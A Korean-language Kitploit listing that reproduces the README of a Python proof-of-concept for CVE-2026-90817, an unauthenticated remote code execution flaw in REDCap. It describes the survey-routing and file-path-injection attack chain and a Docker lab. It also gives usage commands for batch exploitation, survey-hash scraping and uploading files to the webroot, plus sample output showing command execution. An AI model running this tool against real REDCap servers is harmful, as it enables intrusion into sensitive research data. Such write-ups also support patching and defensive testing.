Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-90817 — CVE-2026-90817에 대한 Python PoC로, survey passthrough 라우팅과 파일 경로 주입을 통한 인증되지 않은 REDCap RCE이며, Docker 랩과 allowlist로 보호된 대상들을 포함합니다. | Kitploit
도구/GitHubGitHub/exdev994/cve-2026-90817
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubexdev994/cve-2026-90817

CVE-2026-90817

CVE-2026-90817에 대한 Python PoC로, survey passthrough 라우팅과 파일 경로 주입을 통한 인증되지 않은 REDCap RCE이며, Docker 랩과 allowlist로 보호된 대상들을 포함합니다.

저장소 보기
7시간 28분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-90817 — REDCap 인증되지 않은 RCE PoC (허가된 사용만)

허가된 사용만. 모든 대상에 대한 법적 허가에 대한 책임은 귀하에게 있습니다. 제3자 REDCap 인스턴스에 대한 무단 사용은 불법입니다.

취약점 요약

필드값
CVECVE-2026-90817
제품Vanderbilt University REDCap
CVSS9.8 Critical
인증인증되지 않음 (유효한 공개 설문 해시 필요)
영향받는 버전REDCap 13.3.0 이상
수정된 버전16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release
CWECWE-73 (파일 이름 또는 경로의 외부 제어), CWE-94 (코드 주입)

공격 체인:

  1. REDCap 인스턴스에서 유효한 공개 설문 해시를 획득합니다.
  2. 설문 패스스루 라우팅을 통해 의도하지 않은 컨트롤러 경로에 도달하도록 HTTP 요청을 조작합니다.
  3. 데이터 가져오기 처리 중에 조작된 파일 경로/스트림 매개변수를 제공합니다.
  4. REDCap 서버에서 원격 코드 실행을 달성합니다.

프로젝트 구조

root@kitploit:~
CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC (단일 대상, 허용 목록 보호)
├── docker-compose.yml       # MySQL + PHP-Apache 랩 스택
├── redcap-init/
│   ├── database.php         # 랩용 REDCap DB 구성
│   └── php.ini              # 랩용 PHP 설정
├── redcap-src/              # <-- 여기에 REDCap 소스를 추출하세요 (직접 제공)
├── targets.txt              # 허가된 대상: 한 줄에 하나의 호스트
├── payload.txt              # 업로드 모드용 샘플 파일
├── requirements.txt         # Python 종속성
└── poc_results.txt          # PoC 실행 후 생성됨

사전 요구 사항

  • Docker 및 Docker Compose
  • Python 3.9+
  • Vanderbilt REDCap 컨소시엄의 REDCap 소스 zip (취약한 버전, 예: 14.x 또는 15.x)

REDCap은 라이선스 소프트웨어입니다. 자체 랩을 위해 공식 채널을 통해 획득해야 합니다.

랩 설정

1. REDCap 소스 추출

root@kitploit:~
mkdir -p redcap-src
# redcap.zip 내용을 redcap-src/에 추출하세요
# 디렉터리에는 index.php, redcap_vX.X.X/ 등이 포함되어야 합니다.

2. 랩 환경 시작

root@kitploit:~
docker compose up -d

MySQL 상태 검사가 통과될 때까지 기다린 후 다음을 엽니다:

root@kitploit:~
http://localhost:8080

다음 데이터베이스 설정을 사용하여 REDCap 설치 마법사를 완료합니다 (redcap-init/database.php에 미리 구성됨):

설정값
호스트db
데이터베이스redcap
사용자redcap
비밀번호redcap123

3. 공개 설문 생성

  1. 관리자로 REDCap에 로그인합니다.
  2. 새 프로젝트를 생성합니다.
  3. "이 프로젝트에서 설문 사용"을 활성화합니다.
  4. 공개 설문 링크를 열고 URL에서 해시를 복사합니다 (매개변수 s=).

설문 URL 예시:

root@kitploit:~
http://localhost:8080/surveys/?s=ABC123XYZ

설문 해시: ABC123XYZ

리버스 엔지니어링 (자리 표시자 채우기)

공개 권고문은 정확한 컨트롤러 경로나 매개변수 이름을 공개하지 않습니다. 랩을 설정한 후 redcap-src/에 대한 RE를 수행하고 poc_cve_2026_90817.py의 TODO 상수를 채우세요:

root@kitploit:~
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # 설문 패스스루를 통한 컨트롤러 경로
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # 파일 경로/스트림 매개변수 이름
WEBROOT_PATH = "/var/www/html/redcap/"       # 컨테이너 내부의 웹루트
UPLOADER_NAME = "x.php"                      # PHP 업로더 파일 이름

RE 지침

설문 패스스루 라우팅 검색:

root@kitploit:~
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

데이터 가져오기 파일 경로/스트림 처리 검색:

root@kitploit:~
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

STAGE1_SUCCESS_MARKER를 성공적인 1단계 응답에 존재하는 문자열로 설정합니다 (선택 사항이지만 권장됨).

Python 종속성 설치

root@kitploit:~
pip install -r requirements.txt

PoC 실행

스크립트는 랩 호스트(localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost)도 아니고 targets.txt에 나열되지도 않은 대상을 거부합니다.

설문 해시

CVE-2026-90817은 인증되지 않음 — 로그인이 필요하지 않습니다. 유일한 사전 조건은 유효한 공개 설문 해시입니다 (설문 URL ?s=HASH에서).

도구는 대상의 공개 페이지를 스크래핑하여 설문 해시를 자동 검색할 수 있습니다 (최선 노력). 일반적인 REDCap 엔드포인트(/, /redcap/, /index.php, /surveys/)에서 /surveys/?s=HASH 링크를 확인합니다. 이는 대상이 설문 링크를 공개적으로 노출하는 경우(잘못 구성된 경우)에만 작동합니다. 제대로 구성된 REDCap 인스턴스의 경우 --hash를 통해 수동으로 해시를 제공하세요.

  • 단일 대상 모드: --hash는 선택 사항입니다 (생략 시 자동 검색)
  • 배치 모드: 대상별로 자동 검색; 설문 링크를 노출하지 않는 대상은 건너뜁니다

허가된 대상 (비랩)

비랩 대상의 경우 한 줄에 하나의 호스트(FQDN 또는 IP)로 targets.txt를 생성합니다. 나열된 모든 호스트에 대한 법적 허가에 대한 책임은 귀하에게 있습니다.

root@kitploit:~
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

예시

명시적 해시를 사용한 랩 대상:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

자동 검색된 해시를 사용한 랩 대상:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

배치 모드 (targets.txt의 모든 호스트 반복)

--batch를 추가하면 targets.txt에 나열된 모든 호스트를 자동으로 익스플로잇합니다. 도구는 공개 페이지를 스크래핑하여 대상별로 설문 해시를 자동 검색합니다. 도구는 모든 대상을 출력하고 시작 전에 확인을 요청합니다 (스크립팅을 위해 프롬프트를 건너뛰려면 --yes 사용).

root@kitploit:~
python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

포트는 --target에서 상속됩니다 (기본값 8080). 다른 포트를 사용하려면 --batch 앞에 --target http://placeholder:443/을 설정하세요.

각 대상의 결과는 출력 파일에 추가됩니다. 마지막에 요약이 출력됩니다: N success, M failed, T total.

인수

인수기본값설명
--targethttp://localhost:8080대상 기본 URL
--hash(선택 사항)공개 설문 해시. 생략 시 공개 페이지 스크래핑으로 자동 검색 (최선 노력).
--allowlisttargets.txt대상 파일, 한 줄에 하나의 호스트
--batch꺼짐대상 파일의 모든 호스트를 반복하고 각각을 익스플로잇
--yes꺼짐배치 확인 프롬프트 건너뛰기
--modebothid, upload 또는 both
--outpoc_results.txt결과 로그 파일
--timeout30HTTP 타임아웃 (초)
--upload-localpayload.txt업로드할 로컬 파일
--upload-remoteuploaded_payload.txt웹루트 아래의 원격 파일 이름
--skip-placeholder-check꺼짐TODO 상수가 채워지지 않은 상태에서 HTTP 흐름 드라이런

참고: 자동 검색은 설문 링크를 공개적으로 노출하는 대상에서만 작동합니다. 대부분의 REDCap 인스턴스의 경우 --hash를 수동으로 제공하세요.

예상 출력

성공 시 stdout은 다음을 표시합니다:

root@kitploit:~
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

결과는 poc_results.txt에 추가됩니다:

root@kitploit:~
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------

완화

REDCap 16.0.49 LTS, 17.3.10 LTS 또는 17.4.4 Standard Release로 업그레이드하세요 (해당하는 경우).

추가 강화:

  • 필요하지 않은 곳에서는 공개 설문 노출을 제한합니다.
  • 설문 경로 및 데이터 가져오기 엔드포인트를 대상으로 하는 HTTP 요청을 모니터링합니다.
  • 가져오기 핸들러에서 파일 경로/스트림 매개변수의 서버 측 검증을 검토합니다.

참고 자료

  • CVE-2026-90817 (CVE.org)
  • Securifera Advisories
  • 발견자: Ryan Wincey (@rwincey, Securifera)
도구 다운로드